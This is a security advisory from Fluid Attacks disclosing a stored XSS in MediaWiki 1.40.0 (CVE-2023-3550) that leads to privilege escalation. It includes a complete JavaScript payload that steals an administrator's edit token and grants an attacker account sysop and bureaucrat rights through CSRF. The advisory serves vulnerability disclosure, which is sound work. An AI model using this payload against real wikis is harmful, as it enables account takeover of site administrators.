Stored XSS leads to privilege escalation in MediaWiki v1.40.0

7.3

High

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Stored XSS leads to privilege escalation in MediaWiki v1.40.0

Code name

State

Private

Release date

Oct 11, 2023

Affected product

product: MediaWiki

Affected version(s)

Version 1.40.0

Vulnerability name

Stored cross-site scripting

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

CVSS v3.1 base score

7.3

Exploit available

Yes

CVE ID(s)

Description

Mediawiki v1.40.0 does not validate namespaces used in XML files. Therefore, if the instance administrator allows XML file uploads, a remote attacker with a low-privileged user account can use this exploit to become an administrator by sending a malicious link to the instance administrator.

Vulnerability

In Mediawiki v1.40.0, an authenticated remote attacker can escalate his privileges through a Stored XSS. Thanks to this, we can perform a CSRF on an administrative account to escalate the privileges of an arbitrary account.

The Stored XSS is caused by MediaWiki v1.40.0 not validating the namespaces used in XML files. Thanks to this we can bypass the script detection security controls.

Exploit failed

Here our exploit attempt fails, thanks to the script being detected correctly:

Exploit Success

Here the exploit worked, since we bypassed the script detection controls by using a namespace:

Exploit

To exploit the vulnerability we built an XML file that uses a namespace to bypass script detection protection. This script loads an external script which seeks to escalate the privileges of an account when the administrator accesses the malicious XML link through a CSRF.

exploit.xml


payload.js

var token = "";

fetch('http://localhost:8080/mediawiki-1.40.0/index.php?title=Special%3AUserRights&user=Hacker', {
 credentials: 'include'
})
.then(response => response.text())
.then(html => {
 const parser = new DOMParser();
 const doc = parser.parseFromString(html, 'text/html');
 token = doc.getElementsByName('wpEditToken')[0].value;

 // Llamar a la segunda solicitud POST después de obtener el token
 return fetch('http://localhost:8080/mediawiki-1.40.0/index.php/Special:UserRights', {
 method: 'POST',
 credentials: 'include',
 headers: {'Content-Type': 'application/x-www-form-urlencoded'},
 body: 'user=Hacker&wpEditToken=' + encodeURIComponent(token) + '&conflictcheck-originalgroups=&wpExpiry-bot=infinite&wpExpiry-bot-other=&wpGroup-sysop=1&wpExpiry-sysop=infinite&wpExpiry-sysop-other=&wpGroup-interface-admin=1&wpExpiry-interface-admin=infinite&wpExpiry-interface-admin-other=&wpGroup-bureaucrat=1&wpExpiry-bureaucrat=infinite&wpExpiry-bureaucrat-other=&wpExpiry-suppress=infinite&wpExpiry-suppress-other=&user-reason=&saveusergroups=Save+user+groups'
 });
})
.then(response => {
 console.log('Respuesta:', response);
})
.catch(error => {
    console.error('Error:', error);
});

Evidence of exploitation

Here is a step-by-step description of how to exploit this vulnerability. Basically what will be shown below is how a user with low privileges can increase his privileges by sending a malicious link to the instance administrator.

Our security policy

We have reserved the CVE-2023-3550 to refer to these issues from now on.

System Information

  • Version: MediaWiki 1.40.0

  • Operating System: MacOS

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

Vulnerability discovered

Jul 7, 2023

Vendor Confirmed Vuln.

Jul 11, 2023

Vendor contacted

Jul 7, 2023

Vendor replied

Jul 11, 2023

Public disclosure

Oct 11, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.